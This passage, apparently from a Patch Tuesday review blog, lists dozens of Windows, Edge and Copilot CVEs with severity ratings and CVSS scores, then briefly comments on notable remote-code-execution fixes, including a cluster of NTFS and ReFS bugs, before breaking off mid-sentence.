Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to 